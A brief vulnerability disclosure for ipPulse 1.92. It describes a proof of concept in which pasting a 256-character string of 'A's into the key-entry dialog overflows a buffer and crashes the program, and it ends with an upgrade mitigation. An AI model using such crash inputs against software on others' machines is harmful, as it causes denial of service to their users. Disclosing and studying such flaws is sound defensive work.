ipPulse 1.92 – ‘Enter Key’ Denial of Service (PoC)

A buffer overflow vulnerability exists in ipPulse 1.92 when a maliciously crafted input is sent to the 'Enter Key' field. An attacker can exploit this vulnerability to cause a denial of service condition. This can be exploited by running a python code to create a text file containing a 256 byte long string of 'A' characters, copying the content of the text file to the clipboard, clicking on 'Enter Key' in ipPulse.exe, pasting the clipboard content into the 'Name:' field, and clicking 'OK'. This will cause the application to crash.

Mitigation:

Upgrade to the latest version of ipPulse.
